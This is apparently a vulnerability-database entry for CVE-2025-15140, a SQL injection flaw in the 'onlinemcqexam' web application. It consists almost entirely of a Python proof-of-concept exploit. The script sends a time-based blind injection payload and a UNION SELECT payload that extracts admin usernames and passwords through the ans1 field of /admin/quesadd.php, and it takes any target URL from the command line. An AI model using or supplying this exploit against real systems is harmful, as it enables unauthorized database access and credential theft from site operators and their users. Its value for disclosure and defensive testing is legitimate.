CVE-2025-15140 saiftheboss7 onlinemcqexam SQL注入漏洞

import requests import sys # CVE-2025-15140 SQL Injection PoC # Target: saiftheboss7 onlinemcqexam # File: /admin/quesadd.php # Parameter: ans1, ans2 def exploit_sql_injection(target_url): """ SQL Injection exploit for CVE-2025-15140 This PoC demonstrates blind SQL injection to extract database information """ # Vulnerable endpoint endpoint = f"{target_url}/admin/quesadd.php" # Malicious payload for SQL injection # Using time-based blind SQL injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" # Data to be submitted data = { 'ans1': payload, 'ans2': 'test_answer', 'question': 'test_question', 'submit': 'Add Question' } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Request sent to target") print(f"[*] Status code: {response.status_code}") # Example: Union-based injection to extract admin credentials union_payload = "1' UNION SELECT username, password FROM admin---" data_union = { 'ans1': union_payload, 'ans2': 'test_answer', 'question': 'test_question', 'submit': 'Add Question' } response2 = requests.post(endpoint, data=data_union, timeout=10) print(f"[+] Union-based injection payload sent") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://localhost/onlinemcqexam") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)